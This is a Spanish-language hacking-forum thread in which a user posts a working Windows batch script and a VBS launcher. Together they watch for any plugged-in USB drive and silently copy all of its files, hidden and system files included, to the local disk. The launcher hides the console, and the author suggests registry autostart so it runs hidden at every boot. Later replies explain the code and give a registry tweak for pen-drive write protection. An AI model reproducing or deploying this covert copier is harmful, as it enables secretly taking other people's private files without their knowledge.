elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Copia automaticamente el contenido de cualquier memoria externa
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Copia automaticamente el contenido de cualquier memoria externa  (Leído 3,871 veces)
qtimxta888

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Copia automaticamente el contenido de cualquier memoria externa
« en: 13 Julio 2014, 00:48 am »

Buenas tardes comunidad,

Soy nuevo en el foro y me gustaria compartir mis conocimientos con ustedes


He creado un Script en batch hace unas horas, su funcionalidad es la de copiar todo el contenido de una memoria externa (Removable Disk) a nuestra unidad C: en las respectiva carpeta con nombre del numero de serie de la memoria

Son dos Archivos

El primero es el Script en si, es bastante funcional y no he encontrado errores al testearlo

Los archivos los ejecuto desde el disco local C:, pero se pueden cambiar los valores para ejecutarlos de cualquier directorio

Vol.bat
Código:
@echo off
:Script
set a=0
set __LogicalDisk.VolumeSerialNumber="Nul"
for /f "tokens=*" %%x in ('wmic logicaldisk Where "Description='Removable Disk'" Get /Format:list ^| FINDSTR /R /C:"=."') do (
SET __LogicalDisk.%%x
)
set b=%__LogicalDisk.VolumeSerialNumber%
if %b% NEQ "Nul" (
:loop
if exist c:\%__LogicalDisk.VolumeSerialNumber%%a% (
set/a a=%a% + 1
GOTO loop
)
xcopy /e/i/h/j/y %__LogicalDisk.Caption%  c:\%__LogicalDisk.VolumeSerialNumber%%a%

)
Timeout /t 2 /nobreak >nul
GOTO Script

El segundo archivo es el lanzador, para que la consola no sea visible, el Script para lanzarlo esta desarrollado en VBS

Start.vbs
Código:
Set WshShell = CreateObject("WScript.Shell") 
WshShell.Run chr(34) & "C:\vol.bat" & Chr(34), 0
Set WshShell = Nothing



La ejecucion del script se mantiene permanente, si ocurre algun error como retirar la memoria, el proceso de copiado se detiene pero el programa sigue corriendo, es decir sigue a la espera de nuevos dispositivos conectados para copiar

Si la memoria ya habia sido copiada previamente, se crea un directorio con el mismo nombre pero sumandole un numero, es decir si la carpeta se llama 12340, la siguiente carpeta seria 12341, esto es valioso debido a que si se hizo algun cambio en la memoria nuestra copia anterior no se ve afectada

Es capaz de copiar archivos ocultos y archivos de sistema.

Ya me imagino que estan pensando, y si hago que el archivo se ejecute siempre al iniciar el sistema?, claro, simplemente se configura el registro de windows y taran! tenemos nuestro archivo oculto, e iniciandose siempre con el sistema

Tambien se han de preguntar, no me hara lento mi SO? pues hice pruebas de rendimiento, y no hubo variacion cuando se ejecuta y cuando no con respecto al CPU.




Cualquier duda o aportacion dejenmela saber :)


En línea

asdexiva

Desconectado Desconectado

Mensajes: 217



Ver Perfil
Re: Copia automaticamente el contenido de cualquier memoria externa
« Respuesta #1 en: 13 Julio 2014, 03:05 am »

me podrias explicar para que sirve esta parte
Código:
set __LogicalDisk.VolumeSerialNumber="Nul"
for /f "tokens=*" %%x in ('wmic logicaldisk Where "Description='Removable Disk'" Get /Format:list ^| FINDSTR /R /C:"=."') do (
SET __LogicalDisk.%%x

vi esto y me asuste
Código:
Format:list
jajaja


En línea

qtimxta888

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Re: Copia automaticamente el contenido de cualquier memoria externa
« Respuesta #2 en: 14 Julio 2014, 06:12 am »

me podrias explicar para que sirve esta parte
Código:
set __LogicalDisk.VolumeSerialNumber="Nul"
for /f "tokens=*" %%x in ('wmic logicaldisk Where "Description='Removable Disk'" Get /Format:list ^| FINDSTR /R /C:"=."') do (
SET __LogicalDisk.%%x

vi esto y me asuste
Código:
Format:list
jajaja

jajaja listo
format:list sirve para generar el resultado en formato de lista, la primera linea se le asigna un valor nulo a la variable para que no existan errores de asignacion en el lazo de repeticion

la segunda linea es un lazo de repeticion for, le pide por asi decirlo "al sistema" que le devuelva el detalle de todos los discos que especifica la condicion Where, entonces en cada ejecucion devuelve los discos extraibles que tiene el sistema.

la tercera linea, asigna el valor a la variable __LogicalDisk. lo que obtuvo el for,
__LogicalDisk. es solo una variable, se la puede cambiar por cualquier otra pero con los subguiones precedentes
por ejemplo

__LogicalDisk.Caption=E:
o puede ser tambien
__MiDiscoExterno.Caption=E:


Aclaro, este codigo no afecta ningun archivo almacenado, solo copia.

 :D :D :D :D
En línea

MONOhack

Desconectado Desconectado

Mensajes: 8



Ver Perfil
Re: Copia automaticamente el contenido de cualquier memoria externa
« Respuesta #3 en: 25 Julio 2014, 23:06 pm »

buem programador..
En línea

..el conocimiento puede cambiar el mundo..
mix2014

Desconectado Desconectado

Mensajes: 1


Ver Perfil
quitar proteccion contraescritura de pendrive
« Respuesta #4 en: 9 Agosto 2014, 20:36 pm »

como hago para quitar la proteccion contra escritura de un pendrive?????? :huh: :huh: :huh:
En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.866



Ver Perfil
Re: quitar proteccion contraescritura de pendrive
« Respuesta #5 en: 9 Agosto 2014, 21:17 pm »

como hago para quitar la proteccion contra escritura de un pendrive?????? :huh: :huh: :huh:

No es correcto invadir el post de otra persona para hacer una pregunta irrelevante al tema, si tienes dudas debes crear tu post.

To remove write protection:

    Open Start Menu >> Run, type regedit and press Enter. This will open the registry editor.
    Navigate to the following path:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies

    Double click the key WriteProtect in the right pane and set the value to 0
    In the Data Value Box, press OK
    Exit Registry, restart your computer and then re-connect your USB pen drive to your computer.

Saludos.
En línea



Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines